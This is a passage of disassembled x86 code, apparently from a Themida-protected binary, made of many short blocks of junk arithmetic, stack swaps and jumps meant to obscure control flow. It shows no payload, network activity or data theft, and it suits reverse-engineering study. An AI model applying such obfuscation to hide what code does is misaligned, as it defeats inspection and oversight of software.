; ---------------------------------------------------------------------------


loc_562B79:				; CODE XREF: sub_570A92+1j
		push	ecx
		jmp	loc_569315
; ---------------------------------------------------------------------------


loc_562B7F:				; CODE XREF: sub_55EDA7+1119Dj
		mov	eax, ebp
		pop	ebp
		pop	ebx
		add	eax, 0BC64887Ah
		add	esi, eax
		mov	eax, [esp-2Ch+arg_28]
		add	esp, 4
		add	esi, 2
		xor	esi, [esp-30h+arg_2C]
		xor	[esp-30h+arg_2C], esi
		xor	esi, [esp-30h+arg_2C]
		pop	esp
		sub	word ptr [esp-34h+arg_30], ax
		pushf
		jmp	loc_56F6E1
; ---------------------------------------------------------------------------


loc_562BAA:				; CODE XREF: sub_55EDA7+C4ADj
		mov	eax, [esp-30h+arg_2C]
		jmp	loc_55E661
; ---------------------------------------------------------------------------


loc_562BB2:				; CODE XREF: sub_55EDA7+6E66j
		push	258Bh
		mov	[esp-2Ch+arg_28], ecx
		mov	ecx, 4
		jmp	sub_57041B
; ---------------------------------------------------------------------------


loc_562BC4:				; CODE XREF: sub_55EDA7+BD13j
		sub	esp, 4
		mov	[esp-28h+arg_24], edi
		mov	edi, 737826F0h
		add	edi, 0CB90DFA5h
		jmp	loc_56AFFC
; ---------------------------------------------------------------------------


loc_562BDA:				; CODE XREF: sub_55EDA7+1349Aj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562BDF:				; CODE XREF: sub_55EDA7+F4AFj
		mov	esp, [esp-28h+arg_24]
		push	58DAh
		mov	[esp-24h+arg_20], edx
		mov	edx, 40h
		sub	esp, 4
		mov	[esp-20h+arg_1C], eax
		push	30FCh
		mov	[esp-1Ch+arg_18], esi
		mov	esi, 49021F24h
		or	esi, 7BAE387Eh
		shr	esi, 5
		and	esi, 5845E10h
		push	edi
		mov	edi, 25AC229Fh
		and	edi, 545C323Ch
		neg	edi
		add	edi, 0FFFFFFFFh
		jmp	loc_56BC40
; ---------------------------------------------------------------------------


loc_562C2D:				; CODE XREF: sub_55EDA7+2FC8j
		add	dh, 82h
		jmp	sub_55E8AE
; ---------------------------------------------------------------------------


loc_562C35:				; CODE XREF: sub_55EDA7+13BFCj
		xchg	ebp, [esp+16h+var_16]
		pop	esp
		push	edi
		jmp	loc_5620E6
; ---------------------------------------------------------------------------


loc_562C3F:				; CODE XREF: sub_55EDA7+A7E5j
		mov	[esp+16h+var_16], ecx
		mov	ecx, 0C91305FBh
		add	eax, ecx
		pop	ecx
		add	edi, 465E406Fh
		add	edi, eax
		sub	edi, 465E406Fh
		pop	eax
		sub	esi, 522F7B78h
		add	esi, edi
		push	edx
		mov	edx, 522F7B78h
		add	esi, edx
		pop	edx
		jmp	loc_571107
; ---------------------------------------------------------------------------


loc_562C6F:				; CODE XREF: sub_55EDA7+DAA0j
		sub	ebx, eax
		pop	eax
		add	ebx, 588C12C4h
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	edi, [esp+0]
		add	esp, 4
		pop	ebx
		push	ebx
		jmp	loc_5609C7
; ---------------------------------------------------------------------------


loc_562C90:				; DATA XREF: Themida_:0055E010o
		lodsd
		xor	eax, ebx
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 60932E1Ah
		shl	eax, 5
		add	eax, 2A92F1Ch
		shr	eax, 8
		add	eax, 0FFEAF112h
		jmp	loc_56728C
; ---------------------------------------------------------------------------


loc_562CB1:				; CODE XREF: sub_55EDA7+E653j
		add	ecx, ebx
		mov	eax, [ecx]
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5695FC
; ---------------------------------------------------------------------------


loc_562CC4:				; CODE XREF: sub_55EDA7+B9C1j
		push	edi
		jmp	loc_5611FD
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+0Eh+var_E], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_56C8C3
; ---------------------------------------------------------------------------


loc_562CE5:				; CODE XREF: sub_56DB0B+3D72j
		xor	al, cl
		pop	ecx
		sub	bl, 38h
		sub	bl, al
		push	eax
		mov	ah, 7Eh
		not	ah
		jmp	loc_56ED87
; ---------------------------------------------------------------------------


loc_562CF7:				; CODE XREF: sub_55EDA7+8663j
		sub	esi, 248B2B37h
		jmp	loc_56D1D2
; ---------------------------------------------------------------------------


loc_562D02:				; CODE XREF: sub_55EDA7+E521j
		push	2EAEh
		mov	[esp+16h+var_16], edx
		mov	dl, 1Eh
		shl	dl, 1
		or	dl, 4Ah
		shr	dl, 2
		add	dl, 68h
		add	al, 0E4h
		sub	al, 0A9h
		add	al, dl
		jmp	loc_55E9FD
; ---------------------------------------------------------------------------


loc_562D22:				; CODE XREF: sub_55EDA7+4D56j
		mov	esi, 5291165Ah
		and	esi, 3AEB68D2h
		push	edx
		jmp	loc_56EBD0
; ---------------------------------------------------------------------------


loc_562D33:				; CODE XREF: sub_55EDA7+11C4Aj
		pop	eax
		jmp	loc_569A15
; ---------------------------------------------------------------------------


loc_562D39:				; CODE XREF: sub_55EDA7+C0FAj
		pop	edi
		add	eax, esi
		pop	esi
		push	3ECh
		mov	[esp+12h+var_12], esi
		push	esp
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_571441
; ---------------------------------------------------------------------------


loc_562D54:				; CODE XREF: sub_55EDA7+327Aj
		mov	[esp+12h+var_12], ebx
		mov	ebx, 54F94D58h
		dec	ebx
		add	ebx, 42F9255Ch
		xor	ebx, 97F272B7h
		add	ecx, 7F127664h
		jmp	loc_56B988
; ---------------------------------------------------------------------------


loc_562D74:				; CODE XREF: sub_55EDA7+47AFj
		add	esp, 4
		jmp	loc_565660
; ---------------------------------------------------------------------------


loc_562D7F:				; CODE XREF: sub_55EDA7+1B43j
		pop	ebx
		mov	esi, ebp
		jmp	loc_565F17
; ---------------------------------------------------------------------------


loc_562D87:				; CODE XREF: sub_55EDA7-275j
		sub	edi, ebx
		push	eax
		mov	eax, 796744DCh
		shr	eax, 7
		sub	eax, 0C8E2B1D1h
		sub	edi, eax
		pop	eax
		jmp	loc_55FFF2
; ---------------------------------------------------------------------------


loc_562D9F:				; CODE XREF: sub_55EDA7+11DF5j
		not	ebx
		shl	ebx, 5
		inc	ebx
		xor	ebx, 0B5A04724h
		mov	ebp, ebx
		pop	ebx
		add	ebp, edi
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_561A02
; ---------------------------------------------------------------------------


loc_562DBB:				; CODE XREF: sub_55EDA7+1039Aj
		pop	edx
		shr	edi, 3
		inc	edi
		xor	edi, 83917E2h
		xor	edi, 3A533926h
		push	eax
		jmp	loc_564CA4
; ---------------------------------------------------------------------------


loc_562DD2:				; CODE XREF: sub_55EDA7+1BF3j
		add	esp, 4
		add	esi, edi
		pop	edi
		push	ecx
		sub	esp, 4
		mov	[esp+10h+var_12+2], esi
		mov	esi, 4
		jmp	loc_5635BC
; ---------------------------------------------------------------------------


loc_562DEF:				; CODE XREF: sub_55EDA7+99F4j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562DF4:				; CODE XREF: sub_55EDA7+D017j
		pop	edi
		jmp	loc_55E582
; ---------------------------------------------------------------------------


loc_562DFA:				; CODE XREF: sub_55EDA7+5F02j
		inc	eax
		sub	eax, 0FFFFFFFFh
		and	eax, 384C6F77h
		push	ebx
		jmp	loc_568FD2
; ---------------------------------------------------------------------------


loc_562E09:				; CODE XREF: sub_56FABD-25C7j
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		push	ebp
		jmp	loc_5636EF
; ---------------------------------------------------------------------------


loc_562E18:				; CODE XREF: sub_55EDA7+4862j
		or	bl, dl
		pop	edx
		add	bl, 0Bh
		sub	al, bl
		jmp	loc_55EAD9
; ---------------------------------------------------------------------------


loc_562E25:				; CODE XREF: sub_55EDA7+963Bj
		push	7D08h
		mov	[esp+18h+var_1A+2], esi
		mov	esi, 0
		add	esi, 49E85BEBh
		sub	esi, eax
		sub	esi, 49E85BEBh
		mov	eax, esi
		pop	esi
		shl	eax, 3
		add	eax, 0A6E77B22h
		add	edx, eax
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562E5B:				; CODE XREF: sub_55EDA7+6B33j
		pop	ebx
		sub	esp, 4
		mov	[esp+10h+var_12+2], edi
		jmp	loc_55EA04
; ---------------------------------------------------------------------------


loc_562E67:				; CODE XREF: sub_55EDA7+1219Cj
		push	ecx
		mov	ecx, 0B73399Ah
		xor	ebx, ecx
		pop	ecx
		inc	ebx
		add	ebx, 0F341ABADh
		mov	esi, ebx
		pop	ebx
		add	eax, 76DA4A76h
		sub	eax, esi
		push	ebp
		mov	ebp, 65657C90h
		add	ebp, 23707A42h
		inc	ebp
		add	ebp, 0EE0453A3h
		sub	eax, ebp
		pop	ebp
		pop	esi
		add	eax, ecx
		push	edi
		mov	edi, 6E66171Ch
		add	eax, edi
		pop	edi
		pop	ecx
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_563B36
; ---------------------------------------------------------------------------


loc_562EAD:				; CODE XREF: sub_55EDA7+48E3j
		mov	edx, 78B93496h
		shl	edx, 6
		shr	edx, 7
		or	edx, 19277C30h
		add	edx, 1008513Fh
		jmp	loc_571E69
; ---------------------------------------------------------------------------


loc_562EC9:				; CODE XREF: sub_55EDA7+A73Fj
		pop	esp
		add	esp, 4
		push	ecx
		jmp	loc_56DE4E
; ---------------------------------------------------------------------------


loc_562ED3:				; CODE XREF: sub_55EDA7+FFEj
		mov	ebp, esi
		mov	edx, ebp
		pop	ebp
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		shl	edx, 7
		sub	esp, 4
		mov	[esp-1Ch+arg_18], ecx
		mov	ecx, 5E31E212h
		jmp	loc_5602C1
; ---------------------------------------------------------------------------


loc_562EF4:				; CODE XREF: sub_55EDA7+51Cj
		sub	esp, 4
		mov	[esp-10h+arg_C], edi
		jmp	loc_56B175
; ---------------------------------------------------------------------------


loc_562EFF:				; CODE XREF: sub_55EDA7+C2B3j
		mov	edi, 6871351Eh
		xor	edi, 4F905609h
		dec	edi
		and	edi, 698671A4h
		neg	edi
		jmp	loc_55F2BA
; ---------------------------------------------------------------------------


loc_562F18:				; CODE XREF: sub_55EDA7+10433j
		add	bl, 0E0h
		add	bl, al
		jmp	loc_563A0E
; ---------------------------------------------------------------------------
		push	2DE2h
		push	2B10h
		push	28DBh
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		pop	[esp-4+arg_0]
		push	3069h
		mov	[esp-4+arg_0], eax
		mov	eax, 24EF414Ah
		shl	eax, 7
		add	eax, 0FFFFFFFFh
		xor	eax, 77A0A4FBh
		jmp	loc_5678AC
; ---------------------------------------------------------------------------


loc_562F5A:				; CODE XREF: sub_55EDA7+840Cj
		mov	ebx, [esp-4+arg_0]
		jmp	loc_5677CC
; ---------------------------------------------------------------------------


loc_562F62:				; CODE XREF: sub_55EDA7+114C1j
		xor	edi, 5F7F65FBh
		add	eax, edi
		pop	edi
		jmp	loc_56B77E
; ---------------------------------------------------------------------------


loc_562F70:				; CODE XREF: sub_55EDA7+DB79j
		mov	esi, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56408B
; ---------------------------------------------------------------------------


loc_562F80:				; CODE XREF: sub_55EDA7+8048j
		or	edx, 1C1A0D5Dh
		sub	esp, 4
		mov	[esp+0], ebp
		push	774E69CCh
		pop	ebp
		push	edi
		mov	edi, 476B57C0h
		xor	ebp, edi
		jmp	loc_564702
; ---------------------------------------------------------------------------


loc_562F9F:				; CODE XREF: sub_55EDA7+F382j
		push	eax
		jmp	loc_565CA9
; ---------------------------------------------------------------------------


loc_562FA5:				; CODE XREF: sub_55EDA7+13A56j
		push	edi
		mov	edi, 7FDD2DA4h
		add	edi, 59C46E4Dh
		push	ebp
		mov	ebp, 0D9A19BEDh
		sub	edi, ebp
		jmp	loc_563C58
; ---------------------------------------------------------------------------


loc_562FBE:				; CODE XREF: sub_55EDA7+D510j
		add	eax, 3598054Eh
		push	[esp+10h+var_12+2]
		push	[esp+14h+var_16+2]
		mov	ecx, [esp+18h+var_1A+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5613BF
; ---------------------------------------------------------------------------


loc_562FDA:				; CODE XREF: sub_55EDA7+A5FDj
		not	ebp
		inc	ebp
		not	ebp
		jmp	loc_56253B
; ---------------------------------------------------------------------------


loc_562FE4:				; DATA XREF: Themida_:0055E074o
		mov	cx, word ptr [esp+1Ch+var_1E+2]
		push	edi
		mov	edi, esp
		jmp	loc_5662F2
; ---------------------------------------------------------------------------


loc_562FF0:				; DATA XREF: Themida_:0055E008o
		xchg	di, word ptr [esp+20h+var_22+2]
		jmp	loc_564E7A
; ---------------------------------------------------------------------------


loc_562FF9:				; CODE XREF: sub_55EDA7+81CDj
		add	esi, 34F38B94h
		jmp	loc_56DEB2
; ---------------------------------------------------------------------------


loc_563004:				; CODE XREF: sub_55EDA7+2B4Ej
		sub	edi, 5A1A57FAh
		and	eax, edi
		jmp	loc_56E6CE
; ---------------------------------------------------------------------------


loc_563011:				; CODE XREF: sub_55EDA7+12483j
		push	edi
		mov	edi, 57D91D4Dh
		xor	ecx, edi
		pop	edi
		dec	ecx
		neg	ecx
		and	ecx, 616D0749h
		jmp	sub_5700E1
; ---------------------------------------------------------------------------


loc_563028:				; CODE XREF: sub_55EDA7+7216j
		add	esi, 4
		jmp	loc_56AC7F
; ---------------------------------------------------------------------------


loc_563033:				; CODE XREF: sub_55EDA7+608Aj
		add	edx, ebp
		mov	ebp, [esp-24h+arg_20]
		add	esp, 4
		add	edx, 532507A8h
		add	edx, eax
		jmp	loc_56106B
; ---------------------------------------------------------------------------


loc_56304B:				; CODE XREF: sub_55EDA7+4A25j
		pop	esi
		mov	ebp, [esp-2Ch+arg_28]
		jmp	loc_5612D0
; ---------------------------------------------------------------------------


loc_563054:				; CODE XREF: sub_55EDA7+1D79j
		add	ch, dl
		pop	edx
		add	al, 0F4h
		add	al, ch
		sub	al, 0F4h
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		push	777Ah
		mov	[esp+26h+var_26], ebx
		push	edx
		mov	dh, 60h
		push	ebx
		push	edx
		mov	dh, 0F1h
		mov	bh, 61h
		sub	bh, dh
		pop	edx
		xor	bh, 0D7h
		shl	bh, 7
		not	bh
		add	bh, 2Fh
		jmp	loc_56B936
; ---------------------------------------------------------------------------


loc_56308A:				; CODE XREF: sub_55EDA7+13045j
		pop	edx
		xor	ebp, [esp+2Ah+var_2A]
		xor	[esp+2Ah+var_2A], ebp
		xor	ebp, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56309C:				; CODE XREF: sub_55EDA7+1110Fj
		add	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4236043Eh
		jmp	loc_564B04
; ---------------------------------------------------------------------------


loc_5630AA:				; CODE XREF: sub_55EDA7+A11Dj
		pop	ebp
		jmp	loc_5672CE
; ---------------------------------------------------------------------------


loc_5630B0:				; CODE XREF: sub_55EDA7+12273j
		mov	ebx, 61930AB3h
		shl	ebx, 1
		shr	ebx, 7
		push	ebp
		jmp	loc_561D4C
; ---------------------------------------------------------------------------


loc_5630C0:				; CODE XREF: sub_55EDA7+9C5Bj
		mov	esi, 1DFA2066h
		xor	esi, 62070F3Ah
		push	esi
		pop	edx
		pop	esi
		shr	edx, 8
		and	edx, 264A0CE1h
		jmp	loc_5654FA
; ---------------------------------------------------------------------------


loc_5630DC:				; CODE XREF: sub_55EDA7+F70Aj
		add	esi, 4
		jmp	loc_55E76C
; ---------------------------------------------------------------------------


loc_5630E7:				; CODE XREF: sub_55EDA7+2FAj
		add	esp, 4
		pop	ecx
		jmp	loc_56D638
; ---------------------------------------------------------------------------


loc_5630F3:				; CODE XREF: sub_55EDA7-A11j
		add	esp, 4
		xor	edx, 686D401Fh
		pop	ecx


loc_563100:				; CODE XREF: sub_55EDA7+86D3j
					; sub_55EDA7+9954j
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_566651
; ---------------------------------------------------------------------------


loc_56310E:				; CODE XREF: sub_55EDA7+62EBj
		mov	ecx, 257A3C44h
		add	ecx, 7C0B1D1Eh
		sub	ecx, 7A1A7AB5h
		jmp	loc_55FD00
; ---------------------------------------------------------------------------


loc_563124:				; CODE XREF: sub_55EDA7+66F5j
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		jmp	loc_55F1B8
; ---------------------------------------------------------------------------


loc_563132:				; CODE XREF: sub_55EDA7+93A8j
		shr	bl, 8
		xor	bl, 17h
		shr	bl, 6
		and	bl, 11h
		push	edx
		mov	dl, 47h
		or	dl, 0D4h
		not	dl
		push	cx
		mov	cl, 38h
		jmp	loc_56C33B
; ---------------------------------------------------------------------------


loc_56314F:				; CODE XREF: sub_55EDA7+F0CCj
		inc	al
		push	edx
		mov	dl, 3Ch
		add	al, dl
		pop	edx
		jmp	loc_568387
; ---------------------------------------------------------------------------


loc_56315C:				; CODE XREF: sub_55EDA7-5ACj
		add	esi, 4
		jmp	loc_55F0AE
; ---------------------------------------------------------------------------


loc_563167:				; CODE XREF: sub_55EDA7+4D77j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-24h+arg_20]
		pop	esp
		push	esi
		mov	esi, 4
		jmp	loc_561E38
; ---------------------------------------------------------------------------


loc_56317F:				; CODE XREF: sub_55EDA7+10237j
		mov	edx, 1F85778Fh
		add	edi, edx
		mov	edx, [esp-24h+arg_20]
		jmp	loc_565E43
; ---------------------------------------------------------------------------


loc_56318E:				; CODE XREF: sub_55EDA7+1302j
		push	edx
		jmp	loc_5629A8
; ---------------------------------------------------------------------------


loc_563194:				; CODE XREF: sub_55EDA7+63B6j
		xor	[esp-1Ch+arg_18], ebp
		xor	ebp, [esp-1Ch+arg_18]
		pop	esp
		mov	ax, word ptr [esp-20h+arg_1C]
		push	1670h
		mov	[esp-1Ch+arg_18], eax
		push	76B8h
		push	esp
		pop	[esp-14h+arg_10]
		add	[esp-18h+arg_14], 4
		mov	eax, [esp-18h+arg_14]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-14h+arg_10]
		pop	esp
		push	ebx
		mov	ebx, 221211A4h
		jmp	loc_568E4B
; ---------------------------------------------------------------------------


loc_5631D8:				; CODE XREF: sub_55EDA7+9F24j
		push	eax
		push	4
		pop	eax
		add	ebp, eax
		jmp	loc_5646B2
; ---------------------------------------------------------------------------


loc_5631E6:				; CODE XREF: sub_55EDA7+747Ej
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	ecx
		mov	ch, 57h
		add	al, ch
		pop	ecx
		push	ebx
		mov	bl, 79h
		or	bl, 3Bh
		shr	bl, 3
		xor	bl, 0Dh
		or	bl, 0D3h
		xor	bl, 0F6h
		xor	bl, 46h
		xor	al, bl
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_567FD8
; ---------------------------------------------------------------------------


loc_563217:				; CODE XREF: sub_55EDA7+130E7j
		sub	esi, 70AD1F3Ch
		pop	ecx
		jmp	loc_566425
; ---------------------------------------------------------------------------


loc_563223:				; CODE XREF: sub_55EDA7+E9B1j
		mov	dh, 86h
		not	dh
		xor	dh, 0EEh
		mov	bh, dh
		jmp	loc_5694C5
; ---------------------------------------------------------------------------


loc_563231:				; CODE XREF: sub_55EDA7+1213j
		pop	esp
		jmp	loc_566A0B
; ---------------------------------------------------------------------------


loc_563237:				; CODE XREF: sub_55EDA7+1F8Dj
		movzx	eax, al
		push	small 5455h
		jmp	loc_5689A2
; ---------------------------------------------------------------------------


loc_563243:				; CODE XREF: sub_55EDA7+EB9Dj
		push	edx
		jmp	loc_55F6B9
; ---------------------------------------------------------------------------


loc_563249:				; CODE XREF: sub_55EDA7+F336j
		pop	eax
		add	ebx, 44295620h
		neg	ebx
		sub	ebx, 1EDE2D54h
		jmp	loc_56F33D
; ---------------------------------------------------------------------------


loc_56325D:				; CODE XREF: sub_5726B6+4j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56BE34
; ---------------------------------------------------------------------------


loc_56326B:				; CODE XREF: sub_55EDA7+1280Ej
		pop	ecx
		add	bl, 2Ah
		add	bl, al
		jmp	loc_565FF1
; ---------------------------------------------------------------------------


loc_563276:				; CODE XREF: sub_55EDA7+13803j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-12h+arg_C+2]
		pop	esp
		jmp	loc_560991
; ---------------------------------------------------------------------------


loc_56328B:				; CODE XREF: sub_55EDA7+A835j
		mov	esi, 3C1C48CDh
		sub	[esp-16h+arg_18+2], esi
		pop	esi
		add	[esp-1Ah+arg_18+2], eax
		add	[esp-1Ah+arg_18+2], 3C1C48CDh
		push	[esp-1Ah+arg_14+2]
		push	[esp-16h+arg_10+2]
		pop	eax
		sub	esp, 4
		jmp	loc_56BD01
; ---------------------------------------------------------------------------


loc_5632B3:				; CODE XREF: sub_55EDA7+135E2j
		mov	[esp-12h+arg_C+2], edx
		jmp	loc_5671A1
; ---------------------------------------------------------------------------


loc_5632BB:				; CODE XREF: sub_55EDA7+1DF3j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5632C0:				; CODE XREF: sub_55EDA7+3223j
		mov	[esp+1Ah+var_1A], edx
		mov	edx, 2
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ebp
		push	2B935D8Dh
		pop	ebp
		add	edi, 30622248h
		sub	edi, 2DCF0EF8h
		add	edi, ebp
		add	edi, 2DCF0EF8h
		sub	edi, 30622248h
		jmp	loc_56D22D
; ---------------------------------------------------------------------------


loc_5632F3:				; CODE XREF: sub_55EDA7-3DAj
		add	ebx, 16E02B1Eh
		jmp	loc_563AD2
; ---------------------------------------------------------------------------


loc_5632FE:				; CODE XREF: sub_55EDA7+D4B2j
		shr	ebp, 5
		dec	ebp
		sub	ebp, 3DEE1A4h
		add	edx, ebp
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 5A250E87h
		push	esi
		mov	esi, 257A0947h
		jmp	loc_57278F
; ---------------------------------------------------------------------------


loc_56331D:				; CODE XREF: sub_55EDA7+602j
		neg	esi
		dec	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_56DD10
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], ebp
		push	eax
		jmp	loc_56DC65
; ---------------------------------------------------------------------------


loc_56334A:				; CODE XREF: sub_55EDA7+BC19j
		add	ecx, esi
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		jmp	loc_56E62A
; ---------------------------------------------------------------------------


loc_56335A:				; CODE XREF: sub_55EDA7+C128j
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_57213A
; ---------------------------------------------------------------------------


loc_563363:				; CODE XREF: sub_55EDA7+5569j
		push	0
		sub	[esp+0Ch+var_E+2], ebx
		jmp	loc_56965C
; ---------------------------------------------------------------------------


loc_563370:				; CODE XREF: sub_55EDA7+50Ej
		pop	eax
		add	edx, 79A95AE2h
		sub	edx, esi
		sub	edx, 79A95AE2h
		pop	esi
		add	edx, eax
		add	edx, 4D555CD2h
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		push	ebx
		push	ecx
		push	ebp
		mov	ebp, 2B973096h
		mov	ecx, 2B973092h
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		sub	edx, ebx
		jmp	loc_56991C
; ---------------------------------------------------------------------------


loc_5633AD:				; CODE XREF: sub_56CC71+3B21j
		pop	edx
		jmp	loc_57122F
; ---------------------------------------------------------------------------


loc_5633B3:				; CODE XREF: sub_55EDA7+201Ej
		mov	[esp-10h+arg_C], ebx
		mov	ebx, esp
		jmp	loc_56759D
; ---------------------------------------------------------------------------


loc_5633BD:				; CODE XREF: sub_55EDA7+116E5j
		mov	[esp-10h+arg_C], edi
		push	[esp-10h+arg_C]
		pop	eax
		push	206Eh
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_560BCA
; ---------------------------------------------------------------------------


loc_5633DB:				; CODE XREF: sub_55EDA7+D4E9j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		jmp	loc_56ADBC
; ---------------------------------------------------------------------------


loc_5633EC:				; CODE XREF: sub_55EDA7+1176Bj
		mov	[esp-8+arg_4], edi
		push	esi
		mov	esi, esp
		jmp	loc_561153
; ---------------------------------------------------------------------------


loc_5633F7:				; CODE XREF: sub_55EDA7+E116j
		mov	[esp-4+arg_0], ebp
		mov	ebp, 4
		jmp	loc_564F96
; ---------------------------------------------------------------------------


loc_563404:				; CODE XREF: sub_55EDA7+6775j
		mov	edx, 4
		add	ebx, edx
		push	[esp-4+arg_0]
		mov	edx, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	1590h
		mov	[esp+4+var_4], eax
		mov	eax, 5D77DD7h
		not	eax
		jmp	loc_5671E5
; ---------------------------------------------------------------------------


loc_56342B:				; CODE XREF: sub_55EDA7+2E77j
		add	al, 0B9h
		add	al, bl
		push	edx
		mov	dh, 0DBh
		or	dh, 0C3h
		dec	dh
		inc	dh
		jmp	loc_565378
; ---------------------------------------------------------------------------


loc_56343E:				; CODE XREF: sub_55EDA7+5138j
		mov	[esp-4+arg_0], ebx
		mov	ebx, 40D70F92h
		jmp	loc_56EC44
; ---------------------------------------------------------------------------


loc_56344B:				; CODE XREF: sub_55EDA7+C348j
		mov	edx, eax
		mov	esi, edx
		pop	edx
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		xor	esi, 17BE3769h
		jmp	loc_570D82
; ---------------------------------------------------------------------------


loc_563461:				; CODE XREF: sub_55EDA7+DBDAj
		add	esp, 4
		jmp	loc_567416
; ---------------------------------------------------------------------------


loc_56346C:				; CODE XREF: sub_55EDA7+1D9j
		push	ebx
		mov	ebx, 7EB603C5h
		xor	ebp, ebx
		pop	ebx
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_56C408
; ---------------------------------------------------------------------------


loc_56347F:				; CODE XREF: sub_55EDA7+12F3Bj
		mov	ebp, 41380282h
		not	ebp
		inc	ebp
		xor	ebp, 5D005A3Ch
		or	ebp, 2075CF4h
		inc	ebp
		shl	ebp, 7
		add	ebp, 1D197A4Dh
		add	ebx, ebp
		pop	ebp
		push	[esp+24h+var_26+2]
		pop	ecx
		jmp	loc_5728C3
; ---------------------------------------------------------------------------


loc_5634A9:				; CODE XREF: sub_55EDA7+91C4j
		inc	ecx
		add	ecx, 0FFFFFFFFh
		jmp	loc_567F29
; ---------------------------------------------------------------------------


loc_5634B5:				; CODE XREF: sub_55EDA7+B177j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5634BA:				; CODE XREF: sub_55EDA7+491Ej
		mov	dl, 0C3h
		jmp	loc_566684
; ---------------------------------------------------------------------------


loc_5634C1:				; CODE XREF: sub_55E8AE+1j
		mov	bl, 2Bh
		jmp	loc_55FCD0
; ---------------------------------------------------------------------------


loc_5634C8:				; CODE XREF: sub_55EDA7+64D7j
		xor	ecx, ebp
		jmp	loc_568834
; ---------------------------------------------------------------------------


loc_5634CF:				; CODE XREF: sub_55EDA7+9947j
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_57081C
; ---------------------------------------------------------------------------


loc_5634E0:				; CODE XREF: sub_55EDA7+5932j
		add	esi, 0C3F90906h
		xor	edi, esi
		pop	esi
		mov	esi, edi
		pop	edi
		add	edx, esi
		pop	esi
		xchg	edx, [esp+10h+var_12+2]
		pop	esp
		bts	word ptr [esp+0Ch+var_E+2], ax
		pushf
		jmp	loc_569DA2
; ---------------------------------------------------------------------------


loc_5634FE:				; CODE XREF: sub_55EDA7+8528j
		add	edi, 48042B9h
		add	edi, eax
		jmp	loc_55F3E7
; ---------------------------------------------------------------------------


loc_56350B:				; CODE XREF: sub_55EDA7+E33Cj
		mov	[esp+10h+var_12+2], ebp
		mov	ebp, 5D247A65h
		not	ebp
		inc	ebp
		push	7D8Ah
		mov	[esp+14h+var_16+2], ebx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 0A2DB859Fh
		push	edx
		push	34CBh
		mov	[esp+20h+var_22+2], esi
		push	edi
		xor	[esp+24h+var_26+2], 60DD7504h
		pop	esi
		xor	esi, 60DD7504h
		push	esi
		sub	[esp+24h+var_26+2], 70235A02h
		pop	edx
		add	edx, 70235A02h
		pop	esi
		mov	ebx, edx
		mov	edx, [esp+1Ch+var_1E+2]
		jmp	loc_562D74
; ---------------------------------------------------------------------------


loc_56355B:				; CODE XREF: sub_55EDA7+575Aj
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1E+2]
		pop	esp
		inc	ebp
		xor	ebp, 5922751Bh
		push	edx
		mov	edx, 150A62B7h
		jmp	loc_5691C0
; ---------------------------------------------------------------------------


loc_563574:				; CODE XREF: sub_55EDA7+5A57j
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		push	eax
		mov	eax, 5673325Bh
		sub	eax, 533D7993h
		sub	eax, 1E4B3927h
		sub	eax, 4E579F8h
		push	ebx
		mov	ebx, 33BC77B8h
		jmp	loc_55F1E8
; ---------------------------------------------------------------------------


